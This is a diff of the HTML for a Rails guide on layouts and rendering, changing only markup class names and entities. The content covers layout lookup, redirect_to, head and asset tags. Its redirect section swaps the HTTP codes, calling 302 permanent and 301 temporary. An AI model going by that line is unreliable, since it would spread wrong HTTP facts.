+<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> photo<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> photo_url<span style="color: #990000">(</span>photo<span style="color: #990000">)</span></tt></pre></div></div>
<h4 id="_finding_layouts">2.2.12. Finding Layouts</h4>
-<div class="para"><p>To find the current layout, Rails first looks for a file in <tt>app/views/layouts</tt> with the same base name as the controller. For example, rendering actions from the <tt>PhotosController</tt> class will use <tt>/app/views/layouts/photos.html.erb</tt>. If there is no such controller-specific layout, Rails will use <tt>/app/views/layouts/application.html.erb</tt>. If there is no <tt>.erb</tt> layout, Rails will use a <tt>.builder</tt> layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.</p></div>
+<div class="paragraph"><p>To find the current layout, Rails first looks for a file in <tt>app/views/layouts</tt> with the same base name as the controller. For example, rendering actions from the <tt>PhotosController</tt> class will use <tt>/app/views/layouts/photos.html.erb</tt>. If there is no such controller-specific layout, Rails will use <tt>/app/views/layouts/application.html.erb</tt>. If there is no <tt>.erb</tt> layout, Rails will use a <tt>.builder</tt> layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.</p></div>
<h5 id="_specifying_layouts_on_a_per_controller_basis">Specifying Layouts on a per-Controller Basis</h5>
-<div class="para"><p>You can override the automatic layout conventions in your controllers by using the <tt>layout</tt> declaration in the controller. For example:</p></div>
+<div class="paragraph"><p>You can override the automatic layout conventions in your controllers by using the <tt>layout</tt> declaration in the controller. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -582,10 +456,9 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
layout <span style="color: #FF0000">"inventory"</span>
<span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this declaration, all methods within <tt>ProductsController</tt> will use <tt>app/views/layouts/inventory.html.erb</tt> for their layout.</p></div>
-<div class="para"><p>To assign a specific layout for the entire application, use a declaration in your <tt>ApplicationController</tt> class:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>With this declaration, all methods within <tt>ProductsController</tt> will use <tt>app/views/layouts/inventory.html.erb</tt> for their layout.</p></div>
+<div class="paragraph"><p>To assign a specific layout for the entire application, use a declaration in your <tt>ApplicationController</tt> class:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -594,11 +467,10 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
layout <span style="color: #FF0000">"main"</span>
<span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this declaration, all views in the entire application will use <tt>app/views/layouts/main.html.erb</tt> for their layout.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>With this declaration, all views in the entire application will use <tt>app/views/layouts/main.html.erb</tt> for their layout.</p></div>
<h5 id="_choosing_layouts_at_runtime">Choosing Layouts at Runtime</h5>
-<div class="para"><p>You can use a symbol to defer the choice of layout until a request is processed:</p></div>
+<div class="paragraph"><p>You can use a symbol to defer the choice of layout until a request is processed:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -616,9 +488,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #009900">@current_user</span><span style="color: #990000">.</span>special? <span style="color: #990000">?</span> <span style="color: #FF0000">"special"</span> <span style="color: #990000">:</span> <span style="color: #FF0000">"products"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now, if the current user is a special user, they&#8217;ll get a special layout when viewing a product. You can even use an inline method to determine the layout:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -627,10 +498,9 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
layout proc<span style="color: #FF0000">{</span> <span style="color: #990000">|</span>controller<span style="color: #990000">|</span> controller<span style="color: #990000">.</span>
<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_conditional_layouts">Conditional Layouts</h5>
-<div class="para"><p>Layouts specified at the controller level support <tt>:only</tt> and <tt>:except</tt> options that take either a method name or an array of method names:</p></div>
+<div class="paragraph"><p>Layouts specified at the controller level support <tt>:only</tt> and <tt>:except</tt> options that take either a method name or an array of method names:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>class ProductsController &lt; ApplicationController
@@ -639,10 +509,10 @@ http://www.gnu.org/software/src-highlite -->
#...
end</tt></pre>
</div></div>
-<div class="para"><p>With those declarations, the <tt>inventory</tt> layout would be used only for the <tt>index</tt> method, the <tt>product</tt> layout would be used for everything else except the <tt>rss</tt> method, and the <tt>rss</tt> method will have its layout determined by the automatic layout rules.</p></div>
+<div class="paragraph"><p>With those declarations, the <tt>inventory</tt> layout would be used only for the <tt>index</tt> method, the <tt>product</tt> layout would be used for everything else except the <tt>rss</tt> method, and the <tt>rss</tt> method will have its layout determined by the automatic layout rules.</p></div>
<h5 id="_layout_inheritance">Layout Inheritance</h5>
-<div class="para"><p>Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:</p></div>
-<div class="para"><p><tt>application_controller.rb</tt>:</p></div>
+<div class="paragraph"><p>Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:</p></div>
+<div class="paragraph"><p><tt>application_controller.rb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -651,9 +521,8 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
layout <span style="color: #FF0000">"main"</span>
<span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><tt>posts_controller.rb</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><tt>posts_controller.rb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -661,9 +530,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><tt>special_posts_controller.rb</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><tt>special_posts_controller.rb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -672,9 +540,8 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> SpecialPostsController <span style="color: #990000">&lt;</span> PostsController
layout <span style="color: #FF0000">"special"</span>
<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><tt>old_posts_controller.rb</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><tt>old_posts_controller.rb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -692,10 +559,9 @@ http://www.gnu.org/software/src-highlite -->
render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"old"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In this application:</p></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In this application:</p></div>
+<div class="ulist"><ul>
<li>
<p>
In general, views will be rendered in the <tt>main</tt> layout
@@ -723,8 +589,8 @@ In general, views will be rendered in the <tt>main</tt> layout
</li>
</ul></div>
<h4 id="_avoiding_double_render_errors">2.2.13. Avoiding Double Render Errors</h4>
-<div class="para"><p>Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that <tt>render</tt> works.</p></div>
-<div class="para"><p>For example, here's some code that will trigger this error:</p></div>
+<div class="paragraph"><p>Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it&#8217;s relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that <tt>render</tt> works.</p></div>
+<div class="paragraph"><p>For example, here&#8217;s some code that will trigger this error:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -735,9 +601,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>special?
render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"special_show"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If <tt>@book.special?</tt> evaluates to <tt>true</tt>, Rails will start the rendering process to dump the <tt>@book</tt> variable into the <tt>special_show</tt> view. But this will <em>not</em> stop the rest of the code in the <tt>show</tt> action from running, and when Rails hits the end of the action, it will start to render the <tt>show</tt> view - and throw an error. The solution is simple: make sure that you only have one call to <tt>render</tt> or <tt>redirect</tt> in a single code path. One thing that can help is <tt>and return</tt>. Here's a patched version of the method:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If <tt>@book.special?</tt> evaluates to <tt>true</tt>, Rails will start the rendering process to dump the <tt>@book</tt> variable into the <tt>special_show</tt> view. But this will <em>not</em> stop the rest of the code in the <tt>show</tt> action from running, and when Rails hits the end of the action, it will start to render the <tt>show</tt> view - and throw an error. The solution is simple: make sure that you only have one call to <tt>render</tt> or <tt>redirect</tt> in a single code path. One thing that can help is <tt>and return</tt>. Here&#8217;s a patched version of the method:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -748,32 +613,30 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>special?
render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"special_show"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h3 id="_using_tt_redirect_to_tt">2.3. Using <tt>redirect_to</tt></h3>
-<div class="para"><p>Another way to handle returning responses to a HTTP request is with <tt>redirect_to</tt>. As you've seen, <tt>render</tt> tells Rails which view (or other asset) to use in constructing a response. The <tt>redirect_to</tt> method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:</p></div>
+<div class="paragraph"><p>Another way to handle returning responses to a HTTP request is with <tt>redirect_to</tt>. As you&#8217;ve seen, <tt>render</tt> tells Rails which view (or other asset) to use in constructing a response. The <tt>redirect_to</tt> method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>redirect_to photos_path
-</tt></pre></div></div>
-<div class="para"><p>You can use <tt>redirect_to</tt> with any arguments that you could use with <tt>link_to</tt> or <tt>url_for</tt>. In addition, there's a special redirect that sends the user back to the page they just came from:</p></div>
+<pre><tt>redirect_to photos_path</tt></pre></div></div>
+<div class="paragraph"><p>You can use <tt>redirect_to</tt> with any arguments that you could use with <tt>link_to</tt> or <tt>url_for</tt>. In addition, there&#8217;s a special redirect that sends the user back to the page they just came from:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>redirect_to :back</tt></pre>
</div></div>
<h4 id="_getting_a_different_redirect_status_code">2.3.1. Getting a Different Redirect Status Code</h4>
-<div class="para"><p>Rails uses HTTP status code 302 (permanent redirect) when you call <tt>redirect_to</tt>. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the <tt>:status</tt> option:</p></div>
+<div class="paragraph"><p>Rails uses HTTP status code 302 (permanent redirect) when you call <tt>redirect_to</tt>. If you&#8217;d like to use a different status code (perhaps 301, temporary redirect), you can do so by using the <tt>:status</tt> option:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>redirect_to photos_path, :status =&gt; 301</tt></pre>
</div></div>
-<div class="para"><p>Just like the <tt>:status</tt> option for <tt>render</tt>, <tt>:status</tt> for <tt>redirect_to</tt> accepts both numeric and symbolic header designations.</p></div>
+<div class="paragraph"><p>Just like the <tt>:status</tt> option for <tt>render</tt>, <tt>:status</tt> for <tt>redirect_to</tt> accepts both numeric and symbolic header designations.</p></div>
<h4 id="_the_difference_between_tt_render_tt_and_tt_redirect_tt">2.3.2. The Difference Between <tt>render</tt> and <tt>redirect</tt></h4>
-<div class="para"><p>Sometimes inexperienced developers conceive of <tt>redirect_to</tt> as a sort of <tt>goto</tt> command, moving execution from one place to another in your Rails code. This is <em>not</em> correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.</p></div>
-<div class="para"><p>Consider these actions to see the difference:</p></div>
+<div class="paragraph"><p>Sometimes inexperienced developers conceive of <tt>redirect_to</tt> as a sort of <tt>goto</tt> command, moving execution from one place to another in your Rails code. This is <em>not</em> correct. Your code stops running and waits for a new request for the browser. It just happens that you&#8217;ve told the browser what request it should make next, by sending back a HTTP 302 status code.</p></div>
+<div class="paragraph"><p>Consider these actions to see the difference:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -788,9 +651,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With the code in this form, there will be likely be a problem if the <tt>@book</tt> variable is <tt>nil</tt>. Remember, a <tt>render :action</tt> doesn't run any code in the target action, so nothing will set up the <tt>@books</tt> variable that the <tt>index</tt> view is presumably depending on. One way to fix this is to redirect instead of rendering:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>With the code in this form, there will be likely be a problem if the <tt>@book</tt> variable is <tt>nil</tt>. Remember, a <tt>render :action</tt> doesn&#8217;t run any code in the target action, so nothing will set up the <tt>@books</tt> variable that the <tt>index</tt> view is presumably depending on. One way to fix this is to redirect instead of rendering:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -805,31 +667,28 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
redirect_to <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this code, the browser will make a fresh request for the index page, the code in the <tt>index</tt> method will run, and all will be well.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>With this code, the browser will make a fresh request for the index page, the code in the <tt>index</tt> method will run, and all will be well.</p></div>
<h3 id="_using_tt_head_tt_to_build_header_only_responses">2.4. Using <tt>head</tt> To Build Header-Only Responses</h3>
-<div class="para"><p>The <tt>head</tt> method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling <tt>render :nothing</tt>. The <tt>head</tt> method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:</p></div>
+<div class="paragraph"><p>The <tt>head</tt> method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling <tt>render :nothing</tt>. The <tt>head</tt> method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>head <span style="color: #990000">:</span>bad_request
-</tt></pre></div></div>
-<div class="para"><p>Or you can use other HTTP headers to convey additional information:</p></div>
+<pre><tt>head <span style="color: #990000">:</span>bad_request</tt></pre></div></div>
+<div class="paragraph"><p>Or you can use other HTTP headers to convey additional information:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>head <span style="color: #990000">:</span>created<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> photo_path<span style="color: #990000">(</span><span style="color: #009900">@photo</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt>head <span style="color: #990000">:</span>created<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> photo_path<span style="color: #990000">(</span><span style="color: #009900">@photo</span><span style="color: #990000">)</span></tt></pre></div></div>
</div>
<h2 id="_structuring_layouts">3. Structuring Layouts</h2>
<div class="sectionbody">
-<div class="para"><p>When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Asset tags
@@ -846,10 +705,10 @@ Partials
</p>
</li>
</ul></div>
-<div class="para"><p>I'll discuss each of these in turn.</p></div>
+<div class="paragraph"><p>I&#8217;ll discuss each of these in turn.</p></div>
<h3 id="_asset_tags">3.1. Asset Tags</h3>
-<div class="para"><p>Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:</p></div>
+<div class="ulist"><ul>
<li>
<p>
auto_discovery_link_tag
@@ -871,26 +730,25 @@ image_tag
</p>
</li>
</ul></div>
-<div class="para"><p>You can use these tags in layouts or other views, although the tags other than <tt>image_tag</tt> are most commonly used in the <tt>&lt;head&gt;</tt> section of a layout.</p></div>
+<div class="paragraph"><p>You can use these tags in layouts or other views, although the tags other than <tt>image_tag</tt> are most commonly used in the <tt>&lt;head&gt;</tt> section of a layout.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/warning.png" alt="Warning" />
</td>
-<td class="content">The asset tags do <em>not</em> verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.</td>
+<td class="content">The asset tags do <em>not</em> verify the existence of the assets at the specified locations; they simply assume that you know what you&#8217;re doing and generate the link.</td>
</tr></table>
</div>
<h4 id="_linking_to_feeds_with_tt_auto_discovery_link_tag_tt">3.1.1. Linking to Feeds with <tt>auto_discovery_link_tag</tt></h4>
-<div class="para"><p>The <tt>auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (</tt>:rss+ or <tt>:atom</tt>), a hash of options that are passed through to url_for, and a hash of options for the tag:</p></div>
+<div class="paragraph"><p>The <tt>auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (</tt>:rss+ or <tt>:atom</tt>), a hash of options that are passed through to url_for, and a hash of options for the tag:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= auto_discovery_link_tag(:rss, {:action =&gt;</span> <span style="color: #FF0000">"feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"RSS Feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>There are three tag options available for <tt>auto_discovery_link_tag</tt>:</p></div>
-<div class="ilist"><ul>
+<pre><tt><span style="color: #FF0000">&lt;%= auto_discovery_link_tag(:rss, {:action =&gt;</span> <span style="color: #FF0000">"feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"RSS Feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>There are three tag options available for <tt>auto_discovery_link_tag</tt>:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>:rel</tt> specifies the <tt>rel</tt> value in the link (defaults to "alternate")
@@ -908,180 +766,159 @@ http://www.gnu.org/software/src-highlite -->
</li>
</ul></div>
<h4 id="_linking_to_javascript_files_with_tt_javascript_include_tag_tt">3.1.2. Linking to Javascript Files with <tt>javascript_include_tag</tt></h4>
-<div class="para"><p>The <tt>javascript_include_tag</tt> helper returns an HTML <tt>&lt;script&gt;</tt> tag for each source provided. Rails looks in <tt>public/javascripts</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/javascripts/main.js</tt>:</p></div>
+<div class="paragraph"><p>The <tt>javascript_include_tag</tt> helper returns an HTML <tt>&lt;script&gt;</tt> tag for each source provided. Rails looks in <tt>public/javascripts</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/javascripts/main.js</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/javascripts/columns.js</tt>:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main" %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/javascripts/columns.js</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/photos/columns.js</tt>:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns" %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/photos/columns.js</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "/photos/columns" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>To include <tt>http://example.com/main.js</tt>:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "/photos/columns" %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>To include <tt>http://example.com/main.js</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "http://example.com/main.js" %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>defaults</tt> option loads the Prototype and Scriptaculous libraries:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "http://example.com/main.js" %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>defaults</tt> option loads the Prototype and Scriptaculous libraries:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :defaults %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>all</tt> option loads every javascript file in <tt>public/javascripts</tt>, starting with the Prototype and Scriptaculous libraries:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :defaults %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>all</tt> option loads every javascript file in <tt>public/javascripts</tt>, starting with the Prototype and Scriptaculous libraries:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :all %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>You can supply the <tt>:recursive</tt> option to load files in subfolders of <tt>public/javascripts</tt> as well:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :all %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>You can supply the <tt>:recursive</tt> option to load files in subfolders of <tt>public/javascripts</tt> as well:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :all, :recursive =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache &#8658; true</tt> in your <tt>javascript_include_tag</tt>:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :all, :recursive =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>If you&#8217;re loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache =&gt; true</tt> in your <tt>javascript_include_tag</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
